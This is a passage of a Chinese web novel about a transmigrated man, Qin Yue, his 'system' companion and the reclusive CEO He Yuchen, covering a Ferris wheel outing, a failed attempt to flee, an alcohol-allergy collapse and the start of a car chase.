没有孩子还记得可怜的男二号,为了男主的大业变成了一颗没有生命的能量源。 贺煜臣全程被小孩子亢奋的笑声充斥着,他揉了揉额角,很难理解地看着秦越:“你喜欢这种类型的电影?” 秦越:“你不觉得看这种片子,就像把智商丢进垃圾桶,然后短暂的得到了放松吗?” ……贺煜臣不觉得。 快要检票口时,秦越找了个理由打发贺煜臣先去停车场,他自己去问那个检票员,“你有没有什么值得推荐的地方?” 检票员暗道你们终于意识到在一群小孩子里面看动画片,不是很适合谈情说爱了吗。 “想要换个有仪式感的地方?”他瞥了一眼先离开的贺煜臣,“你们现在处在什么期间?” 秦越不明所以:“啊?” 检票员索性左右无事,健谈如他憋了一天,打开了话匣子,“如果是初恋期的话建议附近游乐园的摩天轮,可以看见整个城市的天际线,甚至远点的怀江山也能看见哦。要是热恋期,建议直接下一班游轮,看完江景……”他鬼鬼祟祟一笑,“船上也有客房。” 秦越自动忽略了检票员后面的话。 怀江山就是贺煜臣别墅所处的地方,他还挺想知道,从摩天轮上能不能看见贺煜臣的家。 秦越有点心动。 黑色宾利汇入了车流,时间已经快九点了。 贺煜臣看了一眼秦越开车的方向,发觉不是回去的,“你要去哪?” 秦越:“时间还早,我想去另一个地方。你要是累了,我们就回家?” 贺煜臣有点坐立难安起来,他一直觉得秦越很奇怪。 在秦越这个位置上,若是换做别人,会恨不得天天来自己面前刷存在感。 但秦越则是你不喊他,就会一声不吭地做自己的事情。 这次居然主动会邀请他,贺煜臣诡异地涌起一种受宠若惊的感觉。 摩天轮在光带的点缀下,仿佛一个金色的光轮。 玻璃舱门关闭的那一瞬间,周围的喧嚣忽然退得很远很远。 “你怕高么?”秦越望着开始低下去的建筑物。 贺煜臣摇了摇头。 他是真不怕,小时候玩蹦极都是说跳就跳的。 斑驳的彩灯在秦越眼瞳里碎成星屑,贺煜臣有些怔然,鬼使神差地想要把这一瞬间永远的留下来。 “你看。”秦越指向座舱外,隐隐能看见隆起的黑色山丘,“我们比怀江山还高了。” 贺煜臣听到熟悉的名字,他下意识地望向窗外。 整座城市的灯光就像在他们的脚下绽放,远处的怀江山上几点细微的灯光,透过树林的缝隙,清晰可见。 万家灯火,有一盏是属于他的。 贺煜臣呼吸骤然错了一拍。 摩天轮很高,速度又慢。两人大眼瞪小眼了一会,为了摆脱尴尬,秦越建议,“要不你许个愿望吧。” 贺煜臣欲言又止:“在这?” 秦越理所当然:“据说摩天轮每转一圈,就会接受一个愿望。试试呗,你别告诉我,你以前没对生日蜡烛许过愿,这不都是同一个原理么?” 贺煜臣止又欲言。 “好吧。”他闭上眼的刹那,听见秦越轻声笑了一下。 感觉自己有点犯傻,贺煜臣双手环胸,面无表情地说:“到你了。” 秦越只是看着他,不说话。 贺煜臣有些恼羞成怒地推了他一下,“快点。” 秦越放低声音:“我许过了。” 贺煜臣按捺下觉得古怪的心理,他忍不住问道:“你许了什么愿望?” 秦越再一次压低声音,像是担心说出来就不准了。 “我希望你未来一切都好。” 秦越离贺煜臣很近,近到贺煜臣以为他要落下一个吻。 可是秦越眼神没有夹杂着任何多余的暧昧情欲。 只有真挚和温和。 孑然一身太久了,贺煜臣无措地排斥这种突如其来的关心。 他扭过头,捏紧了窗沿,勉强维持着表面的冷静。 摩天轮已经逐渐行至最高处,一点点微风就让它轻轻晃荡起来。 像是晃得乱七八糟的心跳。 贺煜臣任凭心跳声顺着钢索越升越高。 都市夜晚华灯万千,照得天空难寻一颗星星。 秦越只能看见零星几颗最亮的。 不过没关系,他周围还有别的星星。 他骗了贺煜臣,他刚刚许的愿望很长,不知道摩天轮愿不愿意满足这个愿望。 他说贺煜臣你不是这个破烂世界里,用来凑数的零件。 你也可以做一颗星辰—— 作者有话说:后排不系安全带也会罚款(别问我怎么知道的)[裂开] 第26章 等到两人回家的时候,秦越按照之前的做法,煮了一杯牛奶放在贺煜臣床头。 他上网查了,贺煜臣这种精神情况容易失眠或者过度睡眠。 过度失眠自己是没什么招了,如果睡前煮牛奶能稍微助眠,也比贺煜臣吃药好一点。 秦越像监督挑食的小孩一样,硬盯着贺煜臣把热牛奶喝完了。 他收回杯子,心无旁骛地在厨房开始洗杯子。 系统还沉浸在刚刚的粉红泡泡中:[我终于知道1027您为什么是优秀员工了,您是不是所有任务都是这样完成的。] 秦越随手将杯子塞回置物架上,“所有任务?我到底完成过多少任务?” 想到这,他忽然记起,贺煜臣曾经提过觉得自己很面熟的事情,“我有没有可能在别的任务里见过贺煜臣?” 系统:[绝对不可能。所有小世界都是独立的,贺煜臣是这个世界的男二,您怎么会在别的世界见过他?] 秦越加重语气:“你确定没有?” 系统说着说着,又不敢把话说太满了,:[这个那个……我不能百分百说没有,因为我进入不同世界,也是要删除冗杂无用的信息,后台无法兼容多个世界的存储数据。所以说实话就是,我也不知道您之前都在哪些世界工作过。否则您酒精过敏,我也不会忘记提醒你了。] 它心虚地望天望地,就是不敢望秦越。 该死,这样显得它好不专业啊。 1027号不会完成任务就要申请换系统吧? 系统陷在自己的思绪里,没有看见秦越脸上一瞬间的迟疑。 秦越停顿了半天,才从厨房出去,他安慰自己,没道理他不记得,贺煜臣还记得。 多半是对方记错人了。 贺煜臣没留意秦越在厨房逗留的时间过久。 他此刻犹豫了半天,最后还是打开了网页搜索。 ——别人为什么会邀请邀请你一起坐摩天轮? 已经有很多人问过类似问题了,其中有一个问题是好多年前问的,回帖数量是最多的。 看上去讨论的信息量很丰富。 贺煜臣决定看看网上的人是怎么说的。 【楼主:我的老爷我的袄,我的crush吓得我一拐,他喊我一起坐摩天轮是什么意思啊?】 【2L:楼主,请听题:对方是否外向,喜欢热闹呢,有的人就是那种想什么就立刻实操的人,他可能觉得一个上去坐着很无聊,喊你凑数的。】 贺煜臣抿了抿嘴唇。 秦越外向吗?或者说他喜欢热闹吗? 表舅给他看的那些照片,在他的记忆里都很模糊了。如果是那样的秦越,他确实很喜欢热闹,热衷于各种社交场合。 但……现在的秦越应该不是这样的。 出于私心,贺煜臣默默地自动把这一条划掉了。 【楼主:不是的,他不是那种喜欢尝试新玩意的人,况且他今天莫名其妙来游乐场就很奇怪了。】 【5L:第二个问题!你们平时是处成好哥们那种了吗?所以坐摩天轮在他眼里跟坐碰碰车也没区别?】 这条应该也不是吧。 刚想否认,贺煜臣纠结了一下。 秦越为什么之前要喊自己看动画片? 难道说在秦越眼里,看动画片跟坐摩天轮也没什么区别。 想不明白。 贺煜臣决定先跳过这一条。 【楼主:不是不是不是!再说谁家好兄弟会喊着一起坐摩天轮啊!】 【11L:是只有你们两个人独处吗?】 【楼主:我的老天爷,终于有人问到点上了,没错,就我们俩人。】 【13L:是否有暧昧举动!】 【楼主:……没。】 看到这,贺煜臣眉头跳了一下,而帖子还远远没有到结束的时候。 【19L:是临时起意,还是提前计划的呀。】 【楼主:应该是临时的,就是路过游乐场的时候,突然说的。】 【28L:哎——大家都散了吧,多半是把楼主当朋友啦。】 贺煜臣手指一动,屏幕陷入了黑暗。 帖子里的每一个字都很眼熟,但当它们拼在一起,他又想拼命拒绝理解这些句子的意思。 简直是在自欺欺人。 秦越一进卧室,就看见贺煜臣坐在床上发呆。 他垂眸注视着黑屏的手机,不知道在想什么。 秦越觉得贺煜臣发呆的模样,跟他面无表情时的冷肃,还是有些区别的。 贺煜臣面无表情会有种不怒自威的压迫,虽然发呆也没有什么多的表情,但莫名就会显得人很好欺负。 秦越凑了过去,“你在看什么呢?这么值得回味。” 两个人面面相觑了一会,见到贺煜臣不想说话的表情,秦越恍然大悟:“你不会在看那个动画片的影评吧。” 贺煜臣被秦越的话噎了一下,他一言难尽:“我为什么要看那个!” 秦越:“那你在看什么?” 见到贺煜臣不理他,秦越耸肩,一幅很大度的样子:“喜欢看动画片又不是什么幼稚的事情。谁也没规定总裁就不许看动画片啊。” 贺煜臣:“……”自己又不能真的跟他说自己在看什么。 好丢脸。 他妥协:“你就当我在看影评吧。” 说完,就闷闷不乐地翻了个身,朝着另一面躺下了。 秦越若有所思地躺到床上。 系统有气无力:[您怎么就乐意逮着一个人逗呢?] 秦越看着漆黑的天花板,“那我逗你?我也没有别的选项了啊。” 系统在天花板上投屏出巨量的名单,从头到尾划拉一下都好久,[请看看原主的鱼塘,您要是实在没事干,就逗逗鱼吧。] “不要。”秦越冷酷地拒绝。 系统:[45%,偏离度现在是45%,您别把他搞得恼羞成怒了,到时候还要把人哄回来。] 秦越听到这句话,沉默了半天,末了勾了勾唇角,“不会了,因为……” 不会再让他生气,因为我马上就要离开了。 两个各怀心思的人,同床异梦。 可惜贺煜臣把那个帖子关的太早,没有看见这个帖子后面的留言,所以他也无从得知,为什么独独这个帖子回复那么多。 因为时隔五年后,那个楼主像是突然记起自己还有这么个帖子,他又回来发了一个消息。 【楼主:忘了告诉大家,我们在一起了。我前几天想起来摩天轮这个事情,就问他当时怎么想的。结果crush说喜欢我很久了,那天觉得无论如何也要说,路过游乐场的时候,想在摩天轮上告白。结果!他因为太紧张忘记了自己恐高。】 【为了维持自己形象,他只能拼命忍住想要下去的欲望,表白早就被抛之脑后了!哈哈哈哈——我们在一起四年多了,现在我又多了一个取笑他的理由了。】 【32L:我靠,陈年老帖把我骗进来当狗杀。】 【33L:极致的推理也比不上人家蓄谋已久的暗恋啊,可恶。】 【34L:祝99~就是这种crush暗恋我的梦,啥时候轮到我做,呜呜呜。】 【……】 【999L:顶上去,助力每一个虐狗贴。#无辜.jpg#。】- 秦越又开始习惯了贺煜臣住在办公室的日子。 系统其实对贺煜臣那么忙也是不理解的,[好奇怪哦,不知道是不是蝴蝶效应,原文里股东大会没有那么早开的。] 秦越还是很匪夷所思:“在原文里,贺长天是怎么赢的贺煜臣?” 先不论贺亦寒是个不省心的儿子,大学一学期能挂好几科,贺长天自己就因为近期几次糟糕的决策,引起高层的不满。 系统正在往影音室飘,它最近迷上了贺煜臣家的影音室。 虽然也它可以自己给自己播放影片,但视觉效果总归是不如巨幕的。 它的声音越来越远,[其实很简单的,只不过因为你的影响,目前这种方法已经不可行了。] 秦越嘴角噙着笑,语气带着威胁:“回来,讲完了再去。” 系统的声音又越来越近,[就是因为您刚来的时候破坏了那个剧情点,导致宋时景没有卖惨成功,后面就没有顺理成章地住在贺煜臣的家。] [又因为他没有住在贺煜臣家里,自然就不会发现贺煜臣有精神类疾病的事情。] 系统讲了一半,敏感地觉得气氛不对,它畏畏缩缩地抬头看着秦越。 秦越神色没有太多变化,只是语气骤然冷了下来,“所以,宋时景离开贺煜臣之后,跟贺亦寒说了这件事。” 系统闻言一愣:[您怎么知道?不过确实就是这样。高层认为让一个精神不稳定的人担任董事长风险太大,保守起见,还是选择了贺长天。] 秦越不知道如果自己隐藏了那么久的秘密,被当着一群人公开是什么心情。 也不知道自己放弃尊严想挽留的爱人,拿着弱点告诉自己的死敌是多么的绝望。 呼吸突然变得艰涩,他指节轻轻抵住眉心。 还好,一切都来得及。 他已经完全断绝了这种可能性。 秦越没有意识到,他脸色难看得厉害,像是刚刚经历了一场噩梦。 系统没有人类那么多愁善感,它还惦记着自己的影音室,看见秦越没有再说话,它立刻没良心地飘走了。 冲啊——我的娱乐消遣。 系统精心挑选了一个影片后,就美滋滋躺在椅子上。开头的制片商名单还没播完呢,后台就传来嘀的一声通知。 系统不情不愿地瞄了一眼,随即立刻从椅子上跳起。刚刚的不满一扫而光,哼着小曲来向秦越报喜了:[谭子濯作为大反派,效率真的是杠杠的,已经成功把宋时景从剧组排挤走了,目前剧情偏离度已到45%。] [您赌对了,宋时景确实向贺亦寒低头服软了,原小说里多处虐身虐心桥段已自动消失。按照后台推算,您接下来甚至都不需要做什么,偏离度会自动增长的。] 秦越没有系统想象中的高兴,“一般什么情况会被视为任务完成呢?” 系统:[剧情偏离度达到50%,员工就可以申请脱离世界了,不过有的员工为了绩效,会拖到偏离度更高的时候再离开。但到剧情偏离度100%的时候,您就会自动脱离这个世界。] “就……这么直接离开就行了?”秦越看上去有点疑惑。 系统摊手:[是的呀,一般我们员工的穿越身份,都是无关紧要的边缘角色,就算把原主替换回来,也不会有人发现。不过有些重要点的角色,比如说主角的亲人之类的,他们大多会选择出国移民,或者跟更简单一点,直接死遁就可以了。] 它观察了一会看着很忙碌的秦越,纳闷道:[您在干啥呢?] 秦越正在从衣柜里找出自己的衣物,接着系统就看到他折叠好衣物之后,放进地板上的一个大号行李箱里。 系统脑筋转了两圈,大惊失色:[您是打算跑路了吗?] 秦越看了看空旷了一些的衣柜,确定自己没有落下东西后,又开始收拾零碎物品,他随口应付系统:[趁贺煜臣没发现我骗他之前,还是赶紧走吧。] 系统整个统都懵逼了,保持着0-0的表情,[您骗他啥了?] 你是骗他感情了吗? 不过,我感觉你也挺乐在其中啊? 系统不敢大声吐槽,怕又被秦越弹脑瓜崩。 秦越停下手上动作,“我跟谭子濯谈条件的时候,拿他做了交易,这不算吗。” 他不离开的话,谭子濯绝对会拿出录音威胁他,或者直接剪辑出来放到贺煜臣面前,告诉对方自己到底是个什么样的人。 秦越不想让原文中经历过爱人背叛的贺煜臣,在当下还要体验被人出卖的感觉。 况且他早就想离开了,毕竟自己不是这个世界的人。 而贺煜臣只是太过缺爱,才会因为他那仨瓜俩枣似的善意,就把他当做了救命稻草。 但这根稻草迟早会断,会枯,会消散地无声无息。 趁着贺煜臣还没有太沉溺,自己必须要走了。 系统陷入了思考:[您要是非这么说的话,不被发现还好,但凡被发现了,按照原著贺煜臣睚眦必报的人设……您确实该跑路了。] 秦越收拾完所有东西,“而且根据你的说法,我只需要等到偏离度自动到50%,就算完成任务了,所以我在哪等都是等。” 他盯着大号的拉杠箱犯起了难,之后该住哪里呢。 “快帮我看看什么不需要学历的工作。”秦越叹息,有种由俭入奢易,由奢入俭难的痛苦。 系统第一反应:[要不去摇奶茶吧,不需要学历,只需要气力。] 秦越居然觉得它说的挺有道理:“还能方便频繁地换工作地点。” 免得被发现报复。 刚穿越过来的时候,贺煜臣花了很短的时间,就查出来自己是谁,住址在哪。 简直恐怖的行事效率。 秦越掏出手机,果断地定了一张距离这个城市很远的车票。 等到夜深人静,窗户外面鸟都歇了不叫的时候,秦越开始行动了。 他考虑到箱子滚轮经过木地板的声音太大,会把佣人吵醒,所以不得不拎着行李箱走过长廊。 系统小声蛐蛐:[您好像在做贼哦。] 秦越无可辩驳,他眉梢都挂着紧张,一点不敢松懈,等到终于挪至那个实木大门的时候,一人一统终于双双舒了一口气。 系统这会还有点留恋:[我们真的要走了啊?] 它还挺怀念别墅里的影音室,里面投影和音效设备就不必多说,灯光更是氛围感十足,还有绝赞的触觉反馈器,它一个统躺在座椅上,可以体验一场完美的4D电影。 特别是影音室装修使用的科幻金属风,冷色调的LED和碳纤维的装饰面,让它有种回到自己老家的快乐。 秦越不敢开灯,只能摸索着门把手的大致位置,就在他碰到冰凉的门把手时,[等等!] 黑暗中,系统忽然发出惊叫。 秦越被系统突兀的声音吓了一跳,颇有一种看恐怖电影,屏幕上闪出jumpscare的缺德感。 他喘了口气,咬着牙说:“别一惊一乍的。” 系统有些不确定:[等一下,我怎么感觉门口好像有人。] 秦越按亮了自己的手机屏幕,看了眼时间,“现在是凌晨两点多了,还有熬夜的佣人这时候在外面闲逛?” 见宿主这么说,系统觉得是自己疑神疑鬼了。 但出于职业习惯,它还是不放心地扫描了一下门外。 一秒钟后,系统声调猛地拔高:[不对,外面就是有人!而且不止一个人!] 手已经搭在门把手上的秦越:“……” 凉意顺着铜制把手窜了过来,秦越直觉到不妙,但他已经陷到了进退两难的地步。 门铃响了。 秦越紧盯着大门,没有动。 来人像是不知疲惫,不停地继续按着。 别墅深处开始传出窸窸窣窣的声音,已经有佣人被吵醒了。 秦越知道躲不了了,他一狠心打开了门。 车灯在不远处蓦得亮起,照亮了屋外人的身形。 是贺煜臣。 他冷着一张脸,半边身影笼罩在夜色里,没有进一步的动作,像是甘愿在黑暗里沉沦。 秦越蹙起眉头,眼神复杂。 这些时日,贺煜臣表现得太无害了。 他在感情上的笨拙,以及情事上的顺从让自己忘了他到底是个什么样的人。 没有人会轻易的改变,极致的隐忍也掩藏不了他刻在骨子里的独占欲。 秦越松开了行李箱,微微叹气,露出一个无可奈何的表情。 贺煜臣漠然的声音从门外传了进来。 “亲爱的,你要去哪?”—— 作者有话说:难以置信,我居然又写了五千。 第27章 秦越瞬间就明白了前因后果。 贺煜臣不住在这里的时候,他是规规矩矩地睡在客房的。 而系统最近玩物丧志,乐不思蜀,压根就没有关注那间客房的监控系统。 贺煜臣很少用如此亲密的称呼来喊秦越。 他既渴望得到爱和回应,但当别人展示爱意的时候,他又手足无措,下意识地想逃离。 自然就更不可能直接地表达出他的真实情感需求。 其实贺煜臣办公室的抽屉里有缓解失眠的药,但他已经很久没吃了。 贺煜臣记得秦越跟他说过要少吃药的事情,可是如果不吃药,他就没有办法睡着。 这种焦虑不安他不知道该跟谁说,贺煜臣只能打开秦越的聊天界面,然后再默默地关上。 时间很晚了,就为了这点事情打扰别人,显得他像在无理取闹。 可是自己已经很久没有见到秦越了。 该怎么办呢? 有什么办法既能看到他,又不打扰他吗? 一个从心底冒出的声音,从低声细语,逐渐变成了擂鼓的大小,催促着他打开了很久没有使用的监控摄像头。 秦越已经睡着了,他睡姿很乖,老老实实地躺在床上,往日里嚣张的眉眼变得舒缓柔软。 贺煜臣听见自己浑身积攒的压力和疲惫,宛若沉积的冰雪正在缓慢融化。 看着秦越安静的睡容,他莫名地获得了片刻的安宁。 像是打开了潘多拉魔盒,这种行为从那一天开始一发不可收拾。 除了今天,贺煜臣看见了不属于这间卧室的东西。一个靠在墙边惹眼的行李箱。 而秦越也没有跟往常一样,保持着早睡的习惯。 贺煜臣紧张起来,仿佛意识到了什么,他坐直了身体,观察着秦越的所有举措。 秦越想要离开? 他眼中闪过茫然,可是为什么呢? 显示器内外,两个人都无言地孤坐着。 等了很久,秦越还是没有睡觉的意思,反而隔几分钟就看一眼时间。 贺煜臣的心一点点收缩着。 心脏应该是在跳动的,但胸腔里仿佛只剩下一颗会带来钝痛的石头。 贺煜臣看着黑暗中陡然亮起的惨白屏幕,一点点刺痛了他的眼睛。 上面是几条短信通知。 【贺总,已经调查过了,秦越账户上近期有一笔来自谭子濯的转账。他曾经在晚宴上跟谭子濯有过一段时间的交流,并且他们金钱来往不只是这一笔,还有一笔交易的日期,是当时宋时景被秦越带去宾馆的那天。】 【贺总,已查到秦越的出行记录。他定了一张去往X市的车票,第二天早上六点就发车了。】 贺煜臣知道等不了了。 他愿意给秦越机会。 但是秦越不愿意接受。 贺煜臣面色苍白,但没有秦越想象中的那么生气。 他甚至眉眼弯了一下,饱满的卧蚕变成了一道好看的弧度。 笑意不达眼底,只有叠加累积的阴郁。 贺煜臣在强压着自己的怒气,“不解释一下吗?” 他这个时候依旧还记得,秦越跟他说过,遇到这种事情要先问清楚情况。 秦越现在有点理解白月光在经历他追他逃时的刺激感了,神情复杂。 活了二十多年,他没想到自己成了狗血小说的主角。 贺煜臣拿出一个秦越十分眼熟的东西,放在他面前,“想好了再说。” 你可以骗我。 但我也说了。你最好能一直骗下去。 笑容逐渐变得冰冷,带上他自己都没有发觉的苦涩。 系统看见贺煜臣拿出的录音笔时,快要跟人类一样寒毛倒竖了,[宿主你完蛋了!他怎么会有谭子濯的录音笔?] 其实当初秦越在听系统讲脱离世界的方法,首先就排除了用死亡离开。 因为他自己身体健康,如果要死遁,就得来个意外或者自我了断。 最重要的一点,他不想让贺煜臣见证身边的人再一次去世了。 现在这个情况,贺煜臣正在气头上,对自己的好感度应当是最低的,秦越干脆顺水推舟,装作不耐烦的样子,“你都知道了,还问我做什么?” “明明当初——”贺煜臣不知道该指责谁,他按捺着情绪,忽然攥住秦越的衣领,压低了声音指控道:“是你先招惹我的。” 到头来,你还想一走了之? 秦越此刻陷入了两难的境地,他能看出来贺煜臣现在状态不太好,不想再继续说出什么伤人的话,但又必须要彻底断了跟对方的感情牵扯。 难道刚刚说的话,还不够表现自己是个烂人吗? 秦越有点头大。 事已至此,他也只能顺着刚才的态度,一把推开贺煜臣的手,同时拉开了距离,“贺总既然已经拿到录音笔,想必也听完了。事实就是那样,我无话可说。” 贺煜臣眼神可怕地看着自己被甩开的手。 回答错误。 众人眼里的秦越应当低眉顺眼地解释,再继续编织一个绮丽假象的网,将愚蠢的猎物重新拢入掌中。 而不是像现在这样,无所顾忌地说话。 贺煜臣无比清晰地认为他所了解的秦越,跟别人知道的秦越不一样。 他觉得医生说自己得了替身妄想可能是真的。 也许他就是疯了。 可是他不在乎。 “你说过我有权利生气的。”贺煜臣不由分说地把人拽过来,脸上带着即将崩溃的平静,“我现在就很生气。” 贺煜臣走得很快,他那根从不离手的手杖不知道去了哪里。走路深一脚浅一脚,平整的地面对他来说是一片泥沼。 若是平时,贺煜臣从来不会在另一人面前那么的狼狈。 秦越心口一种没有感受过的难受感涌了上来,“你别那么急,当下脚下……” 贺煜臣闻言脚步一顿,随即他脸上那摇摇欲坠的体面,再也端不住了。 他嗓音沙哑,艰难地挤出几个字:“我用不着你提醒我是个废人。” 那场车祸里,不知道从哪断裂的玻璃划断了他腿部的神经,他能站起来就已经是运气了。 贺煜臣从来不敢奢求,也没有幻想过,自己还能跟以前一样。 但现在隐隐作痛的左腿正在嘲笑他。 就像是他从谭子濯哪里拿到录音笔时,谭子濯没有半夜三更得知大难临头的惶恐,反而带着怜悯的嘲笑。 他说:“贺煜臣,我是真没想到,你会在这种人身上栽跟头。” 贺煜臣神经质地继续拉着秦越往前走,他不知道自己要去哪,就只是……想离门口远一点,再远一点。 秦越心里默默叹了一口气,意识到自己已经彻底把这件事情搞砸了,他只能手腕下了点力气,把差点失衡的人拉住,“你明明知道我不是这个意思。我们就不能好聚好散吗?” “好啊。”贺煜臣轻笑出声,眸中是未收敛的暗潮,他清楚地感受到理智在失控的边缘挣扎着。 贺煜臣看着秦越的嘴唇翕动,似乎在不停地说着什么,可是他压根不关心,也不想听。 自己只想继续用项圈套住秦越的脖颈,让他一辈子也走不出自己的属地。 贺煜臣:“那你来陪我喝一杯吧。” 秦越愣了一下,心里思索该如何告诉贺煜臣自己酒精过敏的事情,还不能让对方觉得被敷衍和拒绝。 贺煜臣眼神暗了暗:“不愿意?” 玻璃杯的冰球在红色液体中轻撞,声音不大不小,像某种无言的警告。 秦越语塞,我其实没有不愿意,但是不能拿命陪你喝啊。 看见秦越的眉头拧起,贺煜臣猜测对方又要话中带刺了。 贺煜臣立刻打断了秦越还未出口的话。 他抚在秦越脖颈间的姿势像捧着一件易碎的瓷器,可指尖的力道分明要将那处攥入自己的掌心。 “别说一些我不爱听的话。” 贺煜臣闭了闭眼,指节在杯壁上绷出青白色,拼命压制住自己内心扭曲的欲望。 他忽然喝了一大口酒,捧着秦越的脸凑了过去。 毫无章法,像是囿于深渊的困兽,只是单纯地再发泄他的情绪。 这是一个带着酒味的吻。 融化的冰水混着酒液滑进了彼此纠缠的齿关。 冰凉的酒液从两人唇齿交接处留下,弄湿了衬衣,然而更多的液体随着舌尖柔软的动作,送到了更深处。 完了。 秦越头脑一片空白,慢了半拍才把人从自己身上推开。 贺煜臣猝不及防地被推拒,眼眶有些发红,终于意识到,真的只有他一个人沉溺在了这场陷阱里:“你就那么讨厌我吗?” 如果你在骗我,为什么不能骗得再久一些? 他突然变得茫然无措起来,又变成看见父亲离开的身影,却不知道怎么挽回的孩子。 呼吸道的不适来得比上次更凶,秦越按住胸口的手指开始不受控地颤抖,喉间骤然紧锁的触感宛若一条冰凉的蛇盘绕其中。 贺煜臣听见放在桌边的酒杯猛地坠地碎裂,慢慢眨了眨眼睛,才反应过来发生了什么。 酒杯似乎被人碰倒了。 贺煜臣下意识地看向地板,猩红的酒水正沿着地缝蜿蜒流淌,像某种不详的预兆。 “你怎么了?”贺煜臣的声音似乎隔着一层厚厚的玻璃传来。 秦越扶着桌子,喉结在青筋暴起的脖颈间上下滚动,呼吸急促,眼里已经带上了一些雾气。 贺煜臣发现了不对劲,想伸出手却在瞬间退了回来。 几乎是同时,他收拾好一塌糊涂的情绪,冷静了下来,拨通家庭医生的电话。 秦越眼里充斥着生理性的眼泪。 天杀的,他不会要死了吧。 贺煜臣挂了电话,看到秦越的样子,半分钟前还冷静地跟家庭医生说明情况的人,又变成了不知所措的模样。 他不知是安慰秦越,还是安慰自己,握住秦越的手,轻声道:“没事的,医生马上就到了。” 秦越想说什么,但肿胀的喉管已经很难呼吸了,他只能捏了捏贺煜臣的指尖,用眼神说别怕。 “秦越,你别死,不然……”四目相对之下,贺煜臣喃喃地低语,他咬住下唇,直到尝出了铁锈味才松开。 可笑的是,他甚至不知道怎么威胁秦越。 秦越凌乱的脉搏,在自己掌心下疯狂地跳动着。 他有点害怕。 剧痛撕扯着胸腔,黑暗从视野边缘漫上来,秦越混沌地想,不会要死在贺煜臣面前了吧。 那自己简直罪大恶极。 不能倒在他面前。 这个念头比求生本能更清晰更尖锐地刺进大脑。 秦越踉跄着抓住贺煜臣的衣服,恍惚中,他感到有一滴液体砸在他的手背上,滚烫得几乎要灼穿皮肤。 沉入黑暗前的最后,秦越意识到他还是让贺煜臣难过了—— 作者有话说:秦越:谁懂啊,差点被迫死遁 [掐指一算,他不会挂在这一章,可能是下一章吧(点头)] 第28章 等秦越再有知觉的时候,耳畔全是系统喋喋不休的废话。 [哈喽,怎么样?能看见我吗。] [这是几?您不用说话,讲个口型我就能理解。]系统显示屏上放着硕大的数字。 秦越想让它闭嘴,但喉咙痛得不行,他艰难地抬手想给对方一个脑瓜崩。 平日里屡屡得手,但秦越现在没什么力气,动作也慢吞吞的,刚准备抬手,就被系统捕捉到意图,它立刻一个后撤步拉开了安全距离。 秦越:“我没死?” 系统摆了摆手,[没有呢,自从您上次因为酒精过敏出事之后,我就向主系统报备了。] “报备?” [报备您有这个酒精过敏死亡的潜在危险。基于员工的人权合同,总局需要保障员工的人身安全,员工本人是不能在小世界死亡的。]系统解释道,[我们所说的死遁,不是员工真的在这个世界死掉了。只是伪装一个死亡的假象而已。] [您要是在小世界死了,那在现实世界,估计也是要进ICU了。] 报备员工的潜在危险之后,总局就会适当修改这个世界的一些逻辑,让员工不再受个人因素的影响。 系统眼神飘忽,其实,就是就是公司赔不起这个医药费。 秦越安心地躺了回去。 怪不得昨天晚上,没听见它吱哇乱叫的声音。 秦越躺了一个早上,中途贺煜臣的家庭医生检查了好几次,最后医生确定没什么问题才离开别墅。 不过很奇怪的是,到目前为止,一个理应出现在这里的人,一直没有见到。 “贺煜臣呢?”秦越问道。 系统:[刚刚才离开家,他知道你醒了,但是不知道为什么不来看你哎。] 其实它在秦越昏迷的时候,看完了兵荒马乱的全过程。 这更让它想不通,之前一晚上都没睡,在这里守着的贺煜臣,为什么早上看见人要醒了,反而一声不吭地就离开了呢。 看着好像没什么留恋的走了,家庭医生一出来,又要人家原封不动地描述病人情况。 搞得医生压力倍增,不得不一早上来看秦越好几次。 好奇怪一人。系统砸吧了一下嘴。 昨晚回来的其实不止贺煜臣一个人,秦越当时只是随意看了一眼门外,就看见好几个保镖。 但是现在,别墅里静悄悄的。昨天的纷乱仿佛只是一场梦。 秦越试探性地出了门,没有人拦他。佣人看见他,也只是礼节性地朝他笑了笑。 等到了门口的时候,管家喊住了他。 管家递给秦越一张车票,然后说道:“这是先生替你买的车票,他让我转交给您。” 她没有多说别的话就走了,就像按部就班地完成了一个指令。 车票上的目的地,是秦越昨晚没赶上的那班车的。 秦越知道贺煜臣这算是放过他了。 算是念在之前的情面上,没有计较他跟谭子濯的事情,给了他一点体面。 系统往前飘了几步,又飘回来,顶着个大脸凑在秦越面前,挤不出来几个字,又飘走了。 秦越看着它吞吞吐吐的样子,“你干什么坏事了?” 系统一脸我有句话不知当讲不当讲的。 秦越眉毛微挑,“要么现在说,要么等我发现你干了什么之后,再跟你算总账。” 一听这种宛若死刑缓期执行的话,系统急了,[跟我没关系!您之前不是说,贺煜臣要是身体出现什么问题,得告诉您吗?] [但是我们现在都要走了,您还需要知道吗?] 这事就是跟它一点关系没有啊,清汤大老爷要明察啊。 系统可怜巴巴地望着秦越,眼里挤出几滴AI合成的眼泪水。 秦越想多半又是环性心境障碍发作了,自己要是这时候再掺和一脚,怕是把人搞得更严重了。 “不必了,我去了也没有什么用。” 系统点头赞同:[确实没什么用呀,因为他马上就要死啦。] 你去了也就是多个送葬的人嘛。系统无辜地眨了眨眼睛。 系统的话仿佛延迟了好几秒,才被秦越听到。 秦越冷静道:“为什么?” 系统疑惑:[您忘了吗,之前您不是问我贺煜臣为什么会输给贺长天,我给您解释过了呀。因为那个剧情点被你破坏,导致现在贺煜臣就一定会当选集团的董事长。] [但这个世界的男主是贺亦寒呀,所以剧情会自动修正这个错误,回到既定的正轨上。] 秦越:“……错误?正轨?” 他语气很平静,但系统却忍不住抖了一下。 [那个,剧情修正点马上就会发生了,他他他——]系统说不出来了,因为它只是阐述一个马上就会变成现实的事情,可是秦越脸色难看到系统这种粗线条,都能看出来了。 车票被主人无情的抛弃,系统看着走向另一个方向的秦越,暗道一声不妙。 [您不走了吗?] [这个落跑任务马上就要成功了喂!] 虽然也没落跑,是贺煜臣主动让你走了。 系统这会是真含着一泡眼泪追着秦越跑,[您这是又想干哪一出啊?] 秦越来到了车库,里面停着一辆他曾经用过的车。 他曾经嫌弃这辆车太过惹眼,但是现在秦越不得不感谢它的12缸发动机- 马助理苦哈哈地来接贺煜臣开会,不懂老板因为啥事阴着一张脸。 车载音响放着苦情的音乐,马助理听着听着,有种苦酒入喉的错觉。 自己最近怎么总是很倒霉的样子,马助理继续苦哈哈。 要准备换道了,马助理瞥了一眼后视镜,又瞥了一眼后视镜,又又瞥了一眼后视镜…… 从后视镜里,马助理看到让自己噩梦重现的东西。 一辆跟死神比谁快的跑车。 